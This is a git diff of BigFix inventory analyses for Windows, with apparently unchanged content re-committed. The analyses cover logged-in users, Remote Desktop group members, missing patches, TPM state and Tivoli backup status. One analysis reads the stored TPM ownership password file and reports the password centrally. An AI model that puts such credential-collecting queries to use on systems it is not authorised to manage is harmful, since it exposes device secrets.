+    <Property ID="63" Name="Last Logged in User" EvaluationPeriod="PT1H">if (name of operating system as lowercase contains &quot;win&quot;) then (if ((name of operating system as lowercase contains &quot;xp&quot;) or (name of operating system as lowercase contains &quot;win2003&quot;)) then (if not exist keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) then values &quot;DefaultUserName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) as string else &quot;No User Logged&quot;) else (if NOT exist keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\LastLoggedOnUser&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) then values &quot;LastLoggedOnUser&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) as string else &quot;No User Logged&quot;)) else (&quot;Not Win&quot;)</Property>
+    <Property ID="64" Name="Names of Users in Remote Desktop Group" EvaluationPeriod="PT30M">members of local group &quot;Remote Desktop Users&quot;</Property>
+    <Property ID="65" Name="Warning: Number of patches missing" EvaluationPeriod="PT5M"> number of relevant fixlets whose(exists values whose(&quot;Important&quot; = it OR &quot;Critical&quot; = it) of headers &quot;X-Fixlet-Source-Severity&quot; of it AND not exists values whose(it contains &quot; (Superseded)&quot;) of headers &quot;Subject&quot; of it AND exists (current date - it) whose(it &gt; 30 * day) of (it as date) of values whose(exists it as date) of headers &quot;X-Fixlet-Source-Release-Date&quot; of it) of sites whose(&quot;Fixlet Site&quot; = type of it AND exists names whose(it starts with &quot;Updates for &quot; OR it starts with &quot;Patches for&quot; OR it = &quot;Enterprise Security&quot;) of it)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/TPM - Ownership Authorization - Windows (2998307).bes b/Sites/Windows Management/Fixlets/Analyses/TPM - Ownership Authorization - Windows (2998307).bes
index 6ca73bc10..621a6dbc0 100644
--- a/Sites/Windows Management/Fixlets/Analyses/TPM - Ownership Authorization - Windows (2998307).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/TPM - Ownership Authorization - Windows (2998307).bes	
@@ -1,21 +1,21 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : TPM - Ownership Authorization - Windows
-  ID       : 2998307
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T18:04:18
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>TPM - Ownership Authorization - Windows</Title>
-    <Description>Grabs the ownership authorization password set when provisioning the TPM on the device.</Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists (file whose (name of it contains &quot;TPMOwnerAuthorization&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client)</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="TPM - Ownership Password - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;-&quot; of name of it &amp; &quot;:&quot;, following text of first &quot;%ff%fe&quot; of concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of lines of it) of files whose (Name of it contains &quot;TPMOwnerAuthorization.txt&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : TPM - Ownership Authorization - Windows
+  ID       : 2998307
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:04:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>TPM - Ownership Authorization - Windows</Title>
+    <Description>Grabs the ownership authorization password set when provisioning the TPM on the device.</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (file whose (name of it contains &quot;TPMOwnerAuthorization&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="TPM - Ownership Password - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;-&quot; of name of it &amp; &quot;:&quot;, following text of first &quot;%ff%fe&quot; of concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of lines of it) of files whose (Name of it contains &quot;TPMOwnerAuthorization.txt&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/TPM - Windows (2998504).bes b/Sites/Windows Management/Fixlets/Analyses/TPM - Windows (2998504).bes
index 7afb79c8e..ca53e7723 100644
--- a/Sites/Windows Management/Fixlets/Analyses/TPM - Windows (2998504).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/TPM - Windows (2998504).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : TPM - Windows
-  ID       : 2998504
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-12-21T09:25:34
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>TPM - Windows</Title>
-    <Description><![CDATA[This analysis provides information on the current state of the Trusted Platform Module
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="TPM - Enabled in OS - Windows" EvaluationPeriod="P1D">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Enabled&quot; ELSE &quot;Disabled&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
-    <Property ID="2" Name="TPM - Activated in OS - Windows" EvaluationPeriod="P1D">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Activated&quot; ELSE &quot;Not Activated&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
-    <Property ID="3" Name="TPM - Owned in OS - Windows" EvaluationPeriod="P1D">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Owned&quot; ELSE &quot;Not Owned&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
-    <Property ID="4" Name="TPM - Visible to OS - Windows" EvaluationPeriod="P1D">exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;</Property>
-    <Property ID="5" Name="TPM - Version - Windows" EvaluationPeriod="P1D">tuple string item 0 of string value of selects &quot;SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : TPM - Windows
+  ID       : 2998504
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-21T09:25:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>TPM - Windows</Title>
+    <Description><![CDATA[This analysis provides information on the current state of the Trusted Platform Module
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="TPM - Enabled in OS - Windows" EvaluationPeriod="P1D">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Enabled&quot; ELSE &quot;Disabled&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="2" Name="TPM - Activated in OS - Windows" EvaluationPeriod="P1D">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Activated&quot; ELSE &quot;Not Activated&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="3" Name="TPM - Owned in OS - Windows" EvaluationPeriod="P1D">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Owned&quot; ELSE &quot;Not Owned&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="4" Name="TPM - Visible to OS - Windows" EvaluationPeriod="P1D">exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;</Property>
+    <Property ID="5" Name="TPM - Version - Windows" EvaluationPeriod="P1D">tuple string item 0 of string value of selects &quot;SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/TSM Backup Audit - Windows.bes b/Sites/Windows Management/Fixlets/Analyses/TSM Backup Audit - Windows.bes
index 67a3b6ea1..d7640b070 100644
--- a/Sites/Windows Management/Fixlets/Analyses/TSM Backup Audit - Windows.bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/TSM Backup Audit - Windows.bes	
@@ -1,55 +1,55 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : TSM Backup Audit - Windows
-  ID       : 94
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2013-04-26T16:28:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>TSM Backup Audit - Windows</Title>
-    <Description><![CDATA[See <A HREF="http://bigfix.me/analysis/details/2994716">http://bigfix.me/analysis/details/2994716</A> for a later, more dynamic, but much more complex version of this analysis. In the newer version I dynamically locate TSM services, DSM.OPT files, and dsmsched.log files, and get more result details out of the logs. I also check for a dsmsched.log.bak file if the dsmsched.log is locked and unreadable.
-
-<P>Report on Windows TSM Statuses.</P>
-<P>Taken with thanks from JGStew at bigfix.me</P>
-<P>Learn more about this analysis online: <A href="http://bigfix.me/cdb/analysis/62">http://bigfix.me/cdb/analysis/62</A><BR></P>
-<P>Customized slightly by Jason Walker, 2013-04-22; added TSM Client Acceptor to services list for relevance; fixed some issues with tabs and comments ("*") and trimming the results.<BR></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(exists key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\tsmstats.ini&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot;) OR (exists service &quot;TSM Scheduler Service&quot;) OR (exists service &quot;TSM Client Acceptor&quot;)</Relevance>
-    <MIMEField>
-      <Name>bigfixme-added-time</Name>
-      <Value>Mon, 10 Dec 2012 07:35:02 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Mon, 10 Dec 2012 07:35:02 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-keywords</Name>
-      <Value>TSM, Backup Audit, Tivoli Storage Manager</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 26 Apr 2013 21:30:59 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Exists TSM sched log?" EvaluationPeriod="PT12H">exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;</Property>
-    <Property ID="3" Name="Last Sched Success - ERROR" EvaluationPeriod="P7D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) then &quot;&lt;dsmsched log missing&gt;&quot; else if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot; whose(exists lines of it)) then &quot;&lt;file locked by TSM&gt;&quot; else ((lines whose(it contains &quot;&apos; completed successfully.&quot; AND it contains &quot; Scheduled event &apos;&quot; AND line number of it = (maximum of line numbers of lines whose(it contains &quot;&apos; completed successfully.&quot; AND it contains &quot; Scheduled event &apos;&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;)) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) as string)</Property>
-    <Property ID="4" Name="TSM version installed" EvaluationPeriod="P1D">if(not exists key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) then &quot;&lt;TSM not installed&gt;&quot; else if(not exists key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it AND exists value &quot;DisplayVersion&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) then &quot;&lt;TSM dv reg entry missing&gt;&quot; else (value &quot;DisplayVersion&quot; of key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it AND exists value &quot;DisplayVersion&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry as string)</Property>
-    <Property ID="5" Name="Last Successful Backup" EvaluationPeriod="PT6H">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\tsmstats.ini&quot;) then &quot;&lt;tsmstats file missing&gt;&quot; else (modification time of file &quot;C:\Program Files\Tivoli\TSM\baclient\tsmstats.ini&quot; as string)</Property>
-    <Property ID="8" Name="Num of crashes" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot;) then &quot;&lt;no dsmcrash log&gt;&quot; else (number of lines whose (it contains &quot;IBM Tivoli Storage Manager&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot; as string)</Property>
-    <Property ID="9" Name="Client exe Version" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot;) then &quot;&lt;dsm.exe missing&gt;&quot; else if(not exists version of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot;) then &quot;&lt;dsm.exe version missing&gt;&quot; else (version of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot; as string)</Property>
-    <Property ID="10" Name="Last crash?" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot;) then &quot;&lt;dsmcrash log missing&gt;&quot; else (modification time of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot; as string)</Property>
-    <Property ID="11" Name="VC++2010x86?" EvaluationPeriod="P1D">exists key whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Visual C++ 2010&quot; AND (it &gt;= &quot;10.0.40219&quot; as version) of (value &quot;DisplayVersion&quot; of it as string as version)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of x32 registry</Property>
-    <Property ID="12" Name="VC++2010x64?" EvaluationPeriod="P1D">if (x64 of operating system AND exists x64 registry) then (exists key whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Visual C++ 2010&quot; AND (it &gt;= &quot;10.0.40219&quot; as version) of (value &quot;DisplayVersion&quot; of it as string as version)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of x64 registry) as string else &quot;&lt;n/a - 32bit Machine&gt;&quot;</Property>
-    <Property ID="13" Name="TSM Sched Service Running?" EvaluationPeriod="PT6H">exists running service &quot;TSM Scheduler Service&quot;</Property>
-    <Property ID="2" Name="Last Activity in TSM" EvaluationPeriod="PT6H">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) then &quot;&lt;dsmsched log missing&gt;&quot; else (modification time of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot; as string)</Property>
-    <Property ID="6" Name="TSM Server" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no dsm opt&gt;&quot; else if(not exists line whose(it as uppercase contains &quot;TCPSERVERADDRESS&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no tcpserveraddress&gt;&quot; else (  following text of first &quot;TCPSERVERADDRESS&quot; of  (it as uppercase) of  line whose(   (   if it does not contain &quot;*&quot; then it else preceding text of first &quot;*&quot; of it) as uppercase contains  &quot;TCPSERVERADDRESS&quot;  )   of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot; as trimmed string)</Property>
-    <Property ID="7" Name="TSM Node Name" EvaluationPeriod="P2D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no dsm opt&gt;&quot; else if(not exists line whose( (if it does not contain &quot;*&quot; then it else preceding text of first &quot;*&quot; of it) as uppercase contains &quot;NODENAME&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no nodename&gt;&quot; else ( following text of first &quot;NODENAME&quot; of (it as uppercase) of line whose( ( if it does not contain &quot;*&quot; then it else preceding text of first &quot;*&quot; of it) as uppercase contains &quot;NODENAME&quot; ) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot; as trimmed string)</Property>
-    <Property ID="14" Name="TSM Client Acceptor Service Running?" EvaluationPeriod="PT6H">exists running service &quot;TSM Client Acceptor&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : TSM Backup Audit - Windows
+  ID       : 94
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2013-04-26T16:28:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>TSM Backup Audit - Windows</Title>
+    <Description><![CDATA[See <A HREF="http://bigfix.me/analysis/details/2994716">http://bigfix.me/analysis/details/2994716</A> for a later, more dynamic, but much more complex version of this analysis. In the newer version I dynamically locate TSM services, DSM.OPT files, and dsmsched.log files, and get more result details out of the logs. I also check for a dsmsched.log.bak file if the dsmsched.log is locked and unreadable.
+
+<P>Report on Windows TSM Statuses.</P>
+<P>Taken with thanks from JGStew at bigfix.me</P>
+<P>Learn more about this analysis online: <A href="http://bigfix.me/cdb/analysis/62">http://bigfix.me/cdb/analysis/62</A><BR></P>
+<P>Customized slightly by Jason Walker, 2013-04-22; added TSM Client Acceptor to services list for relevance; fixed some issues with tabs and comments ("*") and trimming the results.<BR></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\tsmstats.ini&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot;) OR (exists service &quot;TSM Scheduler Service&quot;) OR (exists service &quot;TSM Client Acceptor&quot;)</Relevance>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Mon, 10 Dec 2012 07:35:02 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Mon, 10 Dec 2012 07:35:02 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>TSM, Backup Audit, Tivoli Storage Manager</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 26 Apr 2013 21:30:59 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Exists TSM sched log?" EvaluationPeriod="PT12H">exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;</Property>
+    <Property ID="3" Name="Last Sched Success - ERROR" EvaluationPeriod="P7D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) then &quot;&lt;dsmsched log missing&gt;&quot; else if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot; whose(exists lines of it)) then &quot;&lt;file locked by TSM&gt;&quot; else ((lines whose(it contains &quot;&apos; completed successfully.&quot; AND it contains &quot; Scheduled event &apos;&quot; AND line number of it = (maximum of line numbers of lines whose(it contains &quot;&apos; completed successfully.&quot; AND it contains &quot; Scheduled event &apos;&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;)) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) as string)</Property>
+    <Property ID="4" Name="TSM version installed" EvaluationPeriod="P1D">if(not exists key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) then &quot;&lt;TSM not installed&gt;&quot; else if(not exists key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it AND exists value &quot;DisplayVersion&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) then &quot;&lt;TSM dv reg entry missing&gt;&quot; else (value &quot;DisplayVersion&quot; of key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it AND exists value &quot;DisplayVersion&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry as string)</Property>
+    <Property ID="5" Name="Last Successful Backup" EvaluationPeriod="PT6H">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\tsmstats.ini&quot;) then &quot;&lt;tsmstats file missing&gt;&quot; else (modification time of file &quot;C:\Program Files\Tivoli\TSM\baclient\tsmstats.ini&quot; as string)</Property>
+    <Property ID="8" Name="Num of crashes" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot;) then &quot;&lt;no dsmcrash log&gt;&quot; else (number of lines whose (it contains &quot;IBM Tivoli Storage Manager&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot; as string)</Property>
+    <Property ID="9" Name="Client exe Version" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot;) then &quot;&lt;dsm.exe missing&gt;&quot; else if(not exists version of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot;) then &quot;&lt;dsm.exe version missing&gt;&quot; else (version of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot; as string)</Property>
+    <Property ID="10" Name="Last crash?" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot;) then &quot;&lt;dsmcrash log missing&gt;&quot; else (modification time of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot; as string)</Property>
+    <Property ID="11" Name="VC++2010x86?" EvaluationPeriod="P1D">exists key whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Visual C++ 2010&quot; AND (it &gt;= &quot;10.0.40219&quot; as version) of (value &quot;DisplayVersion&quot; of it as string as version)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of x32 registry</Property>
+    <Property ID="12" Name="VC++2010x64?" EvaluationPeriod="P1D">if (x64 of operating system AND exists x64 registry) then (exists key whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Visual C++ 2010&quot; AND (it &gt;= &quot;10.0.40219&quot; as version) of (value &quot;DisplayVersion&quot; of it as string as version)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of x64 registry) as string else &quot;&lt;n/a - 32bit Machine&gt;&quot;</Property>
+    <Property ID="13" Name="TSM Sched Service Running?" EvaluationPeriod="PT6H">exists running service &quot;TSM Scheduler Service&quot;</Property>
+    <Property ID="2" Name="Last Activity in TSM" EvaluationPeriod="PT6H">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) then &quot;&lt;dsmsched log missing&gt;&quot; else (modification time of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot; as string)</Property>
+    <Property ID="6" Name="TSM Server" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no dsm opt&gt;&quot; else if(not exists line whose(it as uppercase contains &quot;TCPSERVERADDRESS&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no tcpserveraddress&gt;&quot; else (  following text of first &quot;TCPSERVERADDRESS&quot; of  (it as uppercase) of  line whose(   (   if it does not contain &quot;*&quot; then it else preceding text of first &quot;*&quot; of it) as uppercase contains  &quot;TCPSERVERADDRESS&quot;  )   of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot; as trimmed string)</Property>
+    <Property ID="7" Name="TSM Node Name" EvaluationPeriod="P2D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no dsm opt&gt;&quot; else if(not exists line whose( (if it does not contain &quot;*&quot; then it else preceding text of first &quot;*&quot; of it) as uppercase contains &quot;NODENAME&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no nodename&gt;&quot; else ( following text of first &quot;NODENAME&quot; of (it as uppercase) of line whose( ( if it does not contain &quot;*&quot; then it else preceding text of first &quot;*&quot; of it) as uppercase contains &quot;NODENAME&quot; ) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot; as trimmed string)</Property>
+    <Property ID="14" Name="TSM Client Acceptor Service Running?" EvaluationPeriod="PT6H">exists running service &quot;TSM Client Acceptor&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Temp Folders, Logs, etc... - Windows (2994784).bes b/Sites/Windows Management/Fixlets/Analyses/Temp Folders, Logs, etc... - Windows (2994784).bes
index 447390ebd..9fe78a40b 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Temp Folders, Logs, etc... - Windows (2994784).bes	
